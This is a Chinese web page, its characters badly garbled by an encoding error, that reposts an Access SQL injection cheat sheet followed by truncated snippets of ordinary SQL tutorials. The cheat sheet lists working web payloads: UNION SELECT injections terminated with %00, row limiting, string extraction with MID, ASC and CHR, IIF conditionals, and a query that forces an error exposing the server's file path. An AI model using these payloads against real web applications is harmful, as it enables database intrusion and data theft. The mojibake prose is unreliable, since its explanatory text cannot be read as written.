Ò׽ؽØͼÈí¼þ¡¢µ¥Îļþ¡¢Ãâ°²×°¡¢´¿ÂÌÉ«¡¢½ö160KB

ÕûÀí±È½ÏÈ«µÄAccess SQL×¢Èë²Î¿¼

 Access SQL×¢Èë²Î¿¼
°æ±¾ 0.2.1
(×î½ü¸üР10/10/2007)
Ô­×÷Õß²»Ïê
 
ÃèÊö SQL²éѯ¼°×¢ÊÍ
×¢ÊÍ·û AccessÖÐûÓÐרÃŵÄ×¢ÊÍ·ûºÅ.Òò´Ë"/*", "--"ºÍ"#"¶¼Ã»·¨Ê¹ÓÃ.µ«ÊÇ¿ÉÒÔʹÓÿÕ×Ö·û"NULL"(%00)´úÌæ:
' UNION SELECT 1,1,1 from validTableName%00
 
Óï·¨´íÎóÐÅÏ¢ "[Microsoft][Driver ODBC Microsoft Access]"
¶à¾äÖ´ÐÐ ²»Ö§³Ö.
ÁªºÏ²éѯ AccessÖ§³ÖÁªºÏ²éѯ,UNIONºóµÄfrom¹Ø¼ü×Ö±ØÐëʹÓÃÒ»¸öÒѾ­´æÔڵıíÃû.
¸½Êô²éѯ AccessÖ§³Ö¸½Êô²éѯ(ÀýÈç:"TOP 1"ÓÃÀ´·µ»ØµÚÒ»ÐеÄÄÚÈÝ) :
' AND (SELECT TOP 1 'someData' from validTableName)%00
 
LIMITÖ§³Ö LIMIT²»±»Ö§³Ö,µ«ÊÇÔÚ²éѯÖпÉÒÔÉùÃ÷"TOP N"À´ÏÞÖÆ·µ»ØÄÚÈݵÄÐÐÊý:
' UNION SELECT TOP 3 AttrName from validTableName%00 : ÕâÌõÓï¾ä·µ»Ø(Ç°)3 ÐÐ.
 
Èòéѯ·µ»Ø0ÐÐ Ôڽű¾ÔÚ·µ»ØµÄHTML½á¹ûÖÐÖ»ÏÔʾµÚÒ»¸ö²éѯµÄ½á¹ûµÄʱºò·Ç³£ÓÐÓÃ:
' AND 1=0 UNION SELECT AttrName1,AttrName2 from validTableName%00
 
×Ö·û´®Á¬½Ó ²»Ö§³ÖCONCAT()º¯Êý. ¿ÉÒÔʹÓÃ"&"»ò"+"²Ù×÷À´Á©½ÓÁ½¸ö×Ö·û´®.ÔÚʹÓõÄʱºî±ØÐë¶ÔÕâÁ½¸ö²Ù×÷·û½øÐÐURLencode±àÂë:
' UNION SELECT 'web' %2b 'app' from validTableName%00 : ·µ»Ø"webapp"
' UNION SELECT 'web' %26 'app' from validTableName%00 : ·µ»Ø"webapp"
 
×Ó×Ö·û´® MID()º¯Êý:
' UNION SELECT MID('abcd',1,1) from validTableName%00 : ·µ»Ø "a"
' UNION SELECT MID('abcd',2,1) from validTableName%00 : ·µ»Ø "b"
 
×Ö·û´®³¤¶È LEN()º¯Êý:
' UNION SELECT LEN('1234') from validTableName%00 : ·µ»Ø 4
 
±©WEB·¾¶ ¿ÉÒÔͨ¹ý¶ÔÒ»¸ö²»´æÔڵĿâ½øÐÐSELECT²Ù×÷.Access½«»á»ØÓ¦Ò»Ìõ°üº¬ÓÐÍêÕû·¾¶µÄ´íÎóÐÅÏ¢.:
' UNION SELECT 1 from ThisIsAFakeName.FakeTable%00
 
È¡×Ö·ûµÄASCIIÖµ ASC()º¯Êý:
' UNION SELECT ASC('A') from ValidTable%00 :·µ»Ø65 ('A'µÄASCIIÖµ)
 
ASCIIֵת»»Îª×Ö·û CHR()º¯Êý:
' UNION SELECT CHR(65) from validTableName%00 : ·µ»Ø 'A'
 
IFÓï¾ä ¿ÉÒÔʹÓÃIIF()º¯Êý. Óï·¨ : IIF(condition, true, false) :
' UNION SELECT IIF(1=1, 'a', 'b') from validTableName%00 : ·µ»Ø 'a'
 
ʱ¼ä½Ó¿Ú ²»´æÔÚÀàËÆBENCHMARK()»òSLEEP()µÄº¯Êý,µ«ÊÇ¿ÉÒÔʹÓôóÁ¿(¸ß¸ºÔØ)µÄ²éѯÀ´´ïµ½Õâ¸öЧ¹û.µã»÷ÕâÀï²é¿´²Î¿¼.


Ïà¹ØÎĵµ£º

SQLº¯Êý´óÈ«

 
Ò»¡¢ÄÚ²¿º¯Êý
1¡¢ÄÚ²¿ºÏ¼Æº¯Êý
1£©COUNT£¨*£© ·µ»ØÐÐÊý
2£©COUNT£¨DISTINCT COLNAME£©·µ»ØÖ¸¶¨ÁÐÖÐΨһֵµÄ¸öÊý
3£©SUM£¨COLNAME/EXPRESSION£©·µ»ØÖ¸¶¨Áлò±í´ïʽµÄÊýÖµºÍ£»
4£©SUM£¨DISTINCT COLNAME£© ·µ»ØÖ¸¶¨ÁÐÖÐΨһֵµÄºÍ
5£©AVG£¨COLNAME/EXPRESSION£©·µ»ØÖ¸¶¨Áлò±í´ïʽÖеÄÊýֵƽ¾ùÖµ
6£©AV ......

SQL ServerºÍOracle³£Óú¯Êý¶Ô±È


Êýѧº¯Êý
1.¾ø¶ÔÖµ
S:select abs(-1) value
O:select abs(-1) value from dual
2.È¡Õû(´ó)
S:select ceiling(-1.001) value
O:select ceil(-1.001) value from dual
3.È¡Õû£¨Ð¡£©
S:select floor(-1.001) value
O:select floor(-1.001) value from dual
4.È¡Õû£¨½ØÈ¡£©
S:select cast(-1.002 as in ......

´´½¨SQL ÓÐÎ󣿴íÔÚÄÄÄØ£¿

 
USE master
GO
CREATE DATABASE testbase2
ON
PRIMARY
(NAME = prim_sub_dat1,
FILENAME = 'G:\SQL SERVER2000\prim_sub_dat.mdf',
SIZE = 5MB,
MAXSIZE = 50MB,
FILEGROWTH = 20%),
(NAME = prim_sub_dat2,
FILENAME = 'G:\SQL SERVER2000\prim_sub_dat.ndf'
SIZE = 5MB,
MAXSIZE = 50MB,
......

sqlÓï¾ä¹éÄÉ£¨oracle£©

¶ÔÈÕ³£¹¤×÷ÖÐÓõ½µÄ¸Ð¾õÓÐÓõÄsqlÓï¾ä×ö¸ö¹éÄÉ£¬ÓÃÓÚ½ñºóιÊ֪С£
*¸´ÖÆ±í£º
create table tablename  as  select * from table_src;
create table tablename  as  select * from table_src where 1 <> 1; --Ö»¸´ÖƱí½á¹¹ ......

SQL ÁÙʱ±íÓëÁÙʱ±äÁ¿±í

 
         ÔÚSQLServerµÄÐÔÄܵ÷ÓÅÖУ¬ÓÐÒ»¸ö²»¿É±ÈÄâµÄÎÊÌ⣺ÄǾÍÊÇÈçºÎÔÚÒ»¶ÎÐèÒª³¤Ê±¼äµÄ´úÂë»ò±»Æµ·±µ÷ÓõĴúÂëÖд¦ÀíÁÙʱÊý¾Ý¼¯?±í±äÁ¿ºÍÁÙʱ±íÊÇÁ½ÖÖÑ¡Ôñ¡£ÈçºÎÈ·¶¨Ê²Ã´Ê±ºòÓÃÁÙʱ±í£¬Ê²Ã´Ê±ºòÓñí±äÁ¿ÄØ£¿ÁÙʱ±íºÍ±í±äÁ¿¶¼ÓÐÌض¨µÄÊÊÓû·¾³¡£
¡¡¡¡±í±äÁ¿
¡¡¡¡±äÁ¿¶ ......
© 2009 ej38.com All Rights Reserved. ¹ØÓÚE½¡ÍøÁªÏµÎÒÃÇ | Õ¾µãµØͼ | ¸ÓICP±¸09004571ºÅ